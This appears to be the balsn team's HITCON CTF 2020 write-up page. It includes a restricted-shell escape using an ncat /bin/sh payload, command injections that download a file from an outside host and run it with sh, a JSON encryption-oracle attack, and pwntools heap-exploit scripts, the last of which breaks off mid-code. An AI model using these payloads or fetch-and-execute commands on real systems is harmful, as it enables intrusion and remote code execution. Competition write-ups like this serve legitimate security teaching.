<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>HITCON CTF 2020</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                misc
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#oshell">oshell</a>
    
                <a class="dropdown-item" href="#baby-shark">baby-shark</a>
    
                <a class="dropdown-item" href="#baby-shark-revenge">baby-shark-revenge</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                crypto
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#another-secret-note">another-secret-note</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                pwn
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#archangel-michael's-storage">archangel-michael's-storage</a>
    
                <a class="dropdown-item" href="#spark">spark</a>
    
                <a class="dropdown-item" href="#beats">beats</a>
    
                <a class="dropdown-item" href="#dual">dual</a>
    
                <a class="dropdown-item" href="#revenge-of-pwn">revenge-of-pwn</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                reverse
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#tenet">tenet</a>
    
                <a class="dropdown-item" href="#sop">sop</a>
    
                <a class="dropdown-item" href="#11011001">11011001</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                forensics
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#ac1750">ac1750</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">misc</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#oshell" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">oshell</span>
            </a>
    
<a href="#baby-shark" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">baby-shark</span>
            </a>
    
<a href="#baby-shark-revenge" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">baby-shark-revenge</span>
            </a>
    
          </div>
    
          <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">crypto</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu1" class="collapse sidebar-submenu">
            <a href="#another-secret-note" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">another-secret-note</span>
            </a>
    
          </div>
    
          <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">pwn</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu2" class="collapse sidebar-submenu">
            <a href="#archangel-michael's-storage" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">archangel-michael's-storage</span>
            </a>
    
<a href="#spark" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">spark</span>
            </a>
    
<a href="#beats" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">beats</span>
            </a>
    
<a href="#dual" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">dual</span>
            </a>
    
<a href="#revenge-of-pwn" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">revenge-of-pwn</span>
            </a>
    
          </div>
    
          <a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">reverse</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu3" class="collapse sidebar-submenu">
            <a href="#tenet" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">tenet</span>
            </a>
    
<a href="#sop" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">sop</span>
            </a>
    
<a href="#11011001" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">11011001</span>
            </a>
    
          </div>
    
          <a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">forensics</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu4" class="collapse sidebar-submenu">
            <a href="#ac1750" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">ac1750</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="hitcon-ctf-2020"><a class="header-link" href="#hitcon-ctf-2020"></a>HITCON CTF 2020</h1>

<h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="oshell"><a class="header-link" href="#oshell"></a>oShell</h3>
<p>In this challenge we have a limited sandbox shell. Only a few commands can be run: <code>top</code>, <code>htop</code>, <code>ping</code>, <code>traceroute</code> .... Those commands use busybox binary. The functionality is pretty limited.</p>
<p>There is also a command <code>enable</code> requiring password to execute (Cisco switches have this command as well), so the first step is to leak the password.</p>
<p>@Billy found <code>htop</code> supports <code>strace</code> on a process. We can <code>strace</code> another sandbox shell process and run <code>enable</code>. <code>strace</code> will leak the password through <code>read()</code> system call.</p>
<p>After <code>enable</code>, we have a new command <code>tcpdump</code>. <code>tcpdump -w</code> can write <a href="https://insinuator.net/2019/07/how-to-break-out-of-restricted-shells-with-tcpdump/">arbitrary files</a> with some limitation and <code>tcpdump -z</code> can run any system commands. However, we tried <code>tcpdump -z</code> but this version doesn&#39;t honor this feature:</p>
<pre class="hljs"><code>compress_savefile failed. Functionality <span class="hljs-keyword">not</span> implemented under your <span class="hljs-keyword">system</span></code></pre><p>We need to find another way to RCE.</p>
<p>@kaibro found <code>top</code> can <a href="https://gtfobins.github.io/gtfobins/top/#shell">be abused to RCE</a>, if we can write arbitray contents to <code>.toprc</code>. Therefore the idea is to <code>tcpdump -w .toprc</code> and run <code>top</code> to get shell.</p>
<p>Unfortunately, with <code>tcpdump -w</code> we can only partial control the output packet. <code>top</code> requires the header of <code>.toprc</code> to be correct. Otherwise it will fail to launch.</p>
<p>We also note that <code>top</code> can also save the initla configuration (with the correct header) to <code>.toprc</code> by pressing <code>W</code> in <code>top</code>. Thus, our exploit idea is:</p>
<ol class="list">
<li>run <code>top</code> in shell A, and save a correct <code>.toprc</code> file</li>
<li>run <code>tcpdump -w</code> in shell B to write <code>.toprc</code>. Now the <code>.toprc</code> is corrupted</li>
<li>send 7 - 8 packets to move the <code>tcpdump -w</code> offest after the header</li>
<li>save a correct <code>.toprc</code> file in shell A again</li>
<li>send the payload packets so <code>tcpdump -w</code> write the command after the coorect header</li>
<li>restart <code>top</code> in shell A and press <code>Y, &lt;enter&gt;, &lt;enter&gt;</code> to get shell</li>
</ol>
<p>To control the output of <code>tcpdump packets</code>, <code>ping</code> and <code>traceroute</code> can be used. We use the UDP packet respone in <code>traceroute</code>.</p>
<p>tcpdump to <code>.toprc</code>:</p>
<pre class="hljs"><code>tcpdump -n -<span class="hljs-selector-tag">i</span> eth0 -w /home/oShell/<span class="hljs-selector-class">.toprc</span> -U -A udp port <span class="hljs-number">42345</span> -vvvv</code></pre><p>The UDP response which contains our payload:</p>
<pre class="hljs"><code>ncat -klu <span class="hljs-number">42345</span> -v --sh-exec <span class="hljs-string">"echo -e '<span class="hljs-subst">\n</span>pipe<span class="hljs-subst">\t</span>x<span class="hljs-subst">\t</span>exec /bin/sh 1&gt;&amp;0 2&gt;&amp;0'"</span></code></pre><p>The traceroute command. We need to specify the first hop number in <code>-f</code> and the UDP base port <code>-p</code>:</p>
<pre class="hljs"><code>traceroute -i eth0 -p <span class="hljs-number">42344</span> -f <span class="hljs-number">12</span> <span class="hljs-number">240.240</span><span class="hljs-number">.240</span><span class="hljs-number">.240</span></code></pre><p>Flag: <code>HITCON{A! AAAAAAAAAAAA! SHAR~K!!!}</code></p>
<h3 id="baby-shark"><a class="header-link" href="#baby-shark"></a>Baby Shark</h3>
<p>Command injection using <code>;</code>:</p>
<pre class="hljs"><code>ls ; wget kaibro.tw
ls ; sh index.html</code></pre><p>Flag: <code>hitcon{i_Am_s0_m155_s3e11sh0ck}</code></p>
<h3 id="baby-shark-revenge"><a class="header-link" href="#baby-shark-revenge"></a>Baby Shark Revenge</h3>
<h4 id="solution-1"><a class="header-link" href="#solution-1"></a>Solution 1</h4>
<p>by <a href="https://twitter.com/kaikaibro">@kaibro</a></p>
<p>Command injection using <code>()</code>. Bypass <code>.</code> limitation using decimal ip address.</p>
<p>Because <code>wget</code> in busybox cannot specifiy the name without <code>-o</code>, we use <code>ftpget</code> to download the file with a custom filename.</p>
<pre class="hljs"><code>ls ()ftpget 921608994:10001 meow123 meow123
ls ()sh meow123</code></pre><p>Flag: <code>hitcon{r3v3ng3_f0r_semic010n_4nd_th4nks}</code></p>
<h4 id="solutoin-2"><a class="header-link" href="#solutoin-2"></a>Solutoin 2</h4>
<p>by bookgin</p>
<pre class="hljs"><code>&gt; <span class="hljs-keyword">ls</span> ()<span class="hljs-keyword">python3</span>
&gt; <span class="hljs-keyword">ls</span>
&gt; <span class="hljs-keyword">find</span> =chr(<span class="hljs-number">0</span>x5f)+chr(<span class="hljs-number">0</span>x5f)+ ...
&gt; <span class="hljs-keyword">find</span>
&gt; id ,<span class="hljs-built_in">eval</span>(<span class="hljs-keyword">find</span>)
&gt; id</code></pre><h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="another-secret-note"><a class="header-link" href="#another-secret-note"></a>another secret note</h3>
<p>In this challenge, this key will never change</p>
<pre class="hljs"><code>open(<span class="hljs-string">'key'</span>,<span class="hljs-string">'rb'</span>).read()</code></pre><p>The service given two mainly function :</p>
<ul class="list">
<li><p>register :</p>
<ul class="list">
<li>Encrypt <code>{&#39;secret&#39;: &#39;hitcon{JSON_is_5&#39;, &#39;who&#39;: &#39;user&#39;, &quot;name&quot;: @name}</code> with any name in ascii character</li>
</ul>
</li>
<li><p>login :</p>
<ol class="list">
<li><p>Decrypt the token, and you can set the IV if you want. 
(Note that if you set the IV, The default IV will change. We can use this feature to do something.)</p>
</li>
<li><p>Make &#39;cmd&#39; exists in decrypted token, you can execute given function.</p>
<ul class="list">
<li>get_secret </li>
<li>get_time</li>
<li>note </li>
<li>read_note</li>
</ul>
</li>
<li><p>Encrypted the data again.</p>
</li>
</ol>
</li>
</ul>
<p>We know that <code>json.loads</code> will format the json and merge the same key:</p>
<pre class="hljs"><code>json.loads(<span class="hljs-string">'{"a":"z","b":"y"}'</span>)
<span class="hljs-comment"># -&gt; {'a': 'z', 'b': 'y'}</span>
json.loads(<span class="hljs-string">'{"":"a","":"b"}'</span>)
<span class="hljs-comment"># -&gt; {'': 'b'}</span></code></pre><p>We can use these feature to pull the message out and make Encryption Oracle.</p>
<p>Exploit :</p>
<p>Fixed the IV, and pull bytes from bytes.</p>
<p>Get All pair in ascii range :</p>
<pre class="hljs"><code><span class="hljs-number">0123456789</span>ABCDEF
{<span class="hljs-string">"secret"</span>: <span class="hljs-string">"hitc` &lt;- First block
{"</span><span class="hljs-string">": 12,  "</span>t<span class="hljs-string">": "</span>  &lt;- Set IV to change first block
{<span class="hljs-string">""</span>: <span class="hljs-number">12</span>, <span class="hljs-string">"t"</span>: <span class="hljs-string">"o  &lt;- After Login</span></code></pre><p>Find the match cipher to get the flag</p>
<pre class="hljs"><code>{<span class="hljs-string">""</span>: <span class="hljs-number">12</span>,  <span class="hljs-string">"t"</span>: <span class="hljs-string">"a
{"</span><span class="hljs-string">": 12,  "</span>t<span class="hljs-string">": "</span>b
{<span class="hljs-string">""</span>: <span class="hljs-number">12</span>,  <span class="hljs-string">"t"</span>: <span class="hljs-string">"C
...
{"</span><span class="hljs-string">": 12,  "</span>t<span class="hljs-string">": "</span>~</code></pre><p>user_secret: <code>hitcon{JSON_is_5</code></p>
<hr>
<p>Use <code>register</code> command brute force ascii range prefix, </p>
<p>we can get <code>prefix + (iv ^ data ^ prefix_iv)</code> and do any encryption.</p>
<p>Find the pattern : </p>
<pre class="hljs"><code>pattern = <span class="hljs-string">'****************et","":"*'</span>+<span class="hljs-string">'*************","who":"admin","":"************","name":"admin","":"**********************","":"******"}\x01'</span>
(<span class="hljs-string">'*'</span> can be any ascii)</code></pre><p>and change IV to make the first block become <code>&quot;cmd&quot;: &quot;get_secr</code> and we can get the encrypted <code>admin_secret</code>.</p>
<p>Afthe here is same as <code>user_secret</code>, just pull the flag byte by byte and do encryption oracle to find the secret.</p>
<p>admin_secret: <code>0_woNderFul!@##}</code></p>
<p>FLAG : <code>hitcon{JSON_is_50_woNderFul!@##}</code></p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="archangel-michael's-storage"><a class="header-link" href="#archangel-michael's-storage"></a>Archangel Michael&#39;s Storage</h3>
<ul class="list">
<li>Vulnerability<ul class="list">
<li>OOB write negative index on Type 3 storage</li>
</ul>
</li>
<li>Exploit<ul class="list">
<li>Trick VS subsegment (<code>real_size</code>) into smaller <code>fake_size</code>, where <code>fake_size</code> &lt; <code>real_size</code>, such that the whole VS subsegment will be freed after <code>fake_size</code> chunk is freed, this will lead to overlapped chunk as we only free <code>fake_size</code> chunk but <code>real_size</code> is freed</li>
<li>With pre-controlled layout and overlapped chunk, we can leak heap address</li>
<li>Leak <code>ntdll</code>, <code>kernel32</code>, <code>PEB</code>, <code>TEB</code>, stack address to ROP</li>
<li><a href="https://github.com/how2hack/CTF-writeups/blob/master/2020/hitcon/MichaelStorage/exp.py">https://github.com/how2hack/CTF-writeups/blob/master/2020/hitcon/MichaelStorage/exp.py</a></li>
</ul>
</li>
<li>Flag: <code>hitcon{S3gm3nt_H34p_1s_th3_h34ven_F34l_4_u}</code></li>
</ul>
<h3 id="spark"><a class="header-link" href="#spark"></a>Spark</h3>
<ul class="list">
<li>Crash to leak kernel heap and stack address.</li>
<li>Overwrite Node struct using distance array by UAF.</li>
<li>Use <code>msgsnd</code> <code>msgrcv</code> to change <code>index</code> of UAF node repeatly.</li>
<li>Use <code>dis[edge-&gt;node-&gt;index]</code> to arbitrary write.</li>
<li>Write value to userland and search offset.</li>
<li><code>modprobe_path</code>
<a href="https://github.com/yuawn/CTF/tree/master/2020/hitcon/spark">https://github.com/yuawn/CTF/tree/master/2020/hitcon/spark</a></li>
</ul>
<h3 id="beats"><a class="header-link" href="#beats"></a>Beats</h3>
<pre class="hljs"><code>#!/usr/bin/env python
# -*- coding: utf<span class="hljs-number">-8</span> -*-
from pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> <span class="hljs-built_in">random</span>
host = <span class="hljs-string">'18.178.221.5'</span>
port = <span class="hljs-number">4869</span>

<span class="hljs-built_in">binary</span> = <span class="hljs-string">"./beats"</span>
context.<span class="hljs-built_in">binary</span> = <span class="hljs-built_in">binary</span>
elf = ELF(<span class="hljs-built_in">binary</span>)
<span class="hljs-keyword">try</span>:
  libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
  <span class="hljs-built_in">log</span>.success(<span class="hljs-string">"libc load success"</span>)
  system_off = libc.symbols.system
  <span class="hljs-built_in">log</span>.success(<span class="hljs-string">"system_off = "</span>+<span class="hljs-built_in">hex</span>(system_off))
except:
  <span class="hljs-built_in">log</span>.failure(<span class="hljs-string">"libc not found !"</span>)

<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
  r = remote(<span class="hljs-string">"127.0.0.1"</span> ,<span class="hljs-number">4869</span>)
  #r = process([<span class="hljs-built_in">binary</span>, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})

<span class="hljs-keyword">else</span>:
  r = remote(host ,port)

def rol(val, r_bits, <span class="hljs-built_in">size</span>=<span class="hljs-number">64</span>):
    <span class="hljs-keyword">return</span> (val &lt;&lt; r_bits%<span class="hljs-built_in">size</span>) &amp; (<span class="hljs-number">2</span>**<span class="hljs-built_in">size</span><span class="hljs-number">-1</span>) | \
           ((val &amp; (<span class="hljs-number">2</span>**<span class="hljs-built_in">size</span><span class="hljs-number">-1</span>)) &gt;&gt; (<span class="hljs-built_in">size</span>-(r_bits%<span class="hljs-built_in">size</span>)))


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
  r.recvuntil(<span class="hljs-string">":"</span>)
  r.sendline(<span class="hljs-string">"1"</span>)
  r.recvuntil(<span class="hljs-string">":"</span>)
  tls_dtor_list = <span class="hljs-number">0x404110</span>
  r.sendline(p32(<span class="hljs-number">0x19</span>) + p32(<span class="hljs-number">0xb</span>) + p64(<span class="hljs-number">0x4040a0</span>) + <span class="hljs-string">"D"</span>*<span class="hljs-number">0x48</span> + p32(<span class="hljs-number">0x19</span>) + p32(<span class="hljs-number">2</span>) + p32(<span class="hljs-number">0x19</span>) + p32((<span class="hljs-number">0x224a8</span>+<span class="hljs-number">8</span> + <span class="hljs-number">0x80</span>)/<span class="hljs-number">8</span>) + p32(<span class="hljs-number">0x19</span>) + p32((<span class="hljs-number">0x20f00</span>)/<span class="hljs-number">8</span>) + cyclic(<span class="hljs-number">0x21000</span>) +   p64(<span class="hljs-number">0x426690</span>) + cyclic(<span class="hljs-number">0x22458</span><span class="hljs-number">-0x21008</span>) + p64(<span class="hljs-number">0x4040a0</span>) + p64(<span class="hljs-number">0x4444444444</span>)*<span class="hljs-number">6</span> + p64(tls_dtor_list) + p64(<span class="hljs-number">0x404000</span>) +<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x80</span> ) # calloc <span class="hljs-number">0x21000</span> <span class="hljs-built_in">size</span> chunk &amp; heap overflow will overwrite tls_dtor_list &amp; function pointer gruad(fs:<span class="hljs-number">0x30</span>)
  r.recvuntil(<span class="hljs-string">":"</span>)
  r.sendline(<span class="hljs-string">"2"</span>)
  r.recvuntil(<span class="hljs-string">":"</span>)
  puts_plt = <span class="hljs-number">0x0401140</span>
  read_n = <span class="hljs-number">0x0401413</span>
  setvbuf_got = <span class="hljs-number">0x403fe0</span>
  r.send(<span class="hljs-string">"1"</span>.ljust(<span class="hljs-number">0x10</span>,<span class="hljs-string">"A"</span>))
  payload = p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x81</span>) + p64(rol(puts_plt,<span class="hljs-number">0x11</span>)) + p64(setvbuf_got) + p64(<span class="hljs-number">0x434110</span>) + p64(<span class="hljs-number">0x404110</span>+<span class="hljs-number">0x100</span>) + p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">0x10</span>
  payload = payload.ljust(<span class="hljs-number">0x100</span>,<span class="hljs-string">"A"</span>)
  payload += p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x81</span>) + p64(rol(read_n,<span class="hljs-number">0x11</span>)) +  p64(<span class="hljs-number">0x404100</span>+<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0x434118</span>) + p64(<span class="hljs-number">0x404110</span>+<span class="hljs-number">0x200</span>)+ p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">0x10</span>
  r.sendline(payload)
  r.recvuntil(<span class="hljs-string">":Timeout"</span>) # Waiting <span class="hljs-keyword">for</span> timeout to trigger <span class="hljs-built_in">exit</span>() &amp; use tls_dtor_list to control flow
  libc = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0x813d0</span>
  <span class="hljs-built_in">print</span>(<span class="hljs-string">"libc = {}"</span>.format(<span class="hljs-built_in">hex</span>(libc)))
  system = <span class="hljs-number">0x4f550</span> + libc
  payload = p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x51</span>) + p64(rol(system,<span class="hljs-number">0x11</span>)) + p64(<span class="hljs-number">0x404328</span>) + p64(<span class="hljs-number">0x434120</span>) + <span class="hljs-string">"/bin/sh\x00"</span>

  r.sendline(payload)

  r.interactive()</code></pre><h3 id="dual"><a class="header-link" href="#dual"></a>dual</h3>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> random
host = <span class="hljs-string">'13.231.226.137'</span>
port = <span class="hljs-number">9573</span>

binary = <span class="hljs-string">"./dual"</span>
context.binary = binary
elf = ELF(binary)
<span class="hljs-keyword">try</span>:
  libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
  log.success(<span class="hljs-string">"libc load success"</span>)
  system_off = libc.symbols.system
  log.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
<span class="hljs-keyword">except</span>:
  log.failure(<span class="hljs-string">"libc not found !"</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_note</span><span class="hljs-params">(idd)</span>:</span>
  r.recvuntil(<span class="hljs-string">"op&gt;\n"</span>)
  r.sendline(<span class="hljs-string">"1"</span>)
  r.recvuntil(<span class="hljs-string">"pred_id&gt;\n"</span>)
  r.sendline(str(idd))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">connect_note</span><span class="hljs-params">(idd,idd2)</span>:</span>
  r.recvuntil(<span class="hljs-string">"op&gt;\n"</span>)
  r.sendline(<span class="hljs-string">"2"</span>)
  r.recvuntil(<span class="hljs-string">"pred_id&gt;\n"</span>)
  r.sendline(str(idd))
  r.recvuntil(<span class="hljs-string">"succ_id&gt;\n"</span>)
  r.sendline(str(idd2))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">disconnect_node</span><span class="hljs-params">(idd,idd2)</span>:</span>
  r.recvuntil(<span class="hljs-string">"op&gt;\n"</span>)
  r.sendline(<span class="hljs-string">"3"</span>)
  r.recvuntil(<span class="hljs-string">"pred_id&gt;\n"</span>)
  r.sendline(str(idd))
  r.recvuntil(<span class="hljs-string">"succ_id&gt;\n"</span>)
  r.sendline(str(idd2))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">write_text</span><span class="hljs-params">(index,text)</span>:</span>
  r.recvuntil(<span class="hljs-string">"op&gt;\n"</span>)
  r.sendline(<span class="hljs-string">"4"</span>)
  r.recvuntil(<span class="hljs-string">"node_id&gt;\n"</span>)
  r.sendline(str(index))
  r.recvuntil(<span class="hljs-string">"text_len&gt;\n"</span>)
  r.sendline(str(len(text)))
  r.recvuntil(<span class="hljs-string">"text&gt;\n"</span>)
  r.send(text)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">write_bin</span><span class="hljs-params">(index,binary)</span>:</span>
  r.recvuntil(<span class="hljs-string">"op&gt;\n"</span>)
  r.sendline(<span class="hljs-string">"5"</span>)
  r.recvuntil(<span class="hljs-string">"node_id&gt;\n"</span>)
  r.sendline(str(index))
  r.recvuntil(<span class="hljs-string">"bin_len&gt;\n"</span>)
  r.sendline(str(len(binary)))
  r.recvuntil(<span class="hljs-string">"bin&gt;\n"</span>)
  r.send(binary)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_text</span><span class="hljs-params">(index)</span>:</span>
  r.recvuntil(<span class="hljs-string">"op&gt;\n"</span>)
  r.sendline(<span class="hljs-string">"6"</span>)
  r.recvuntil(<span class="hljs-string">"node_id&gt;\n"</span>)
  r.sendline(str(index))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">wtf</span><span class="hljs-params">()</span>:</span>
  r.recvuntil(<span class="hljs-string">"op&gt;\n"</span>)
  r.sendline(<span class="hljs-string">"7"</span>)

<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
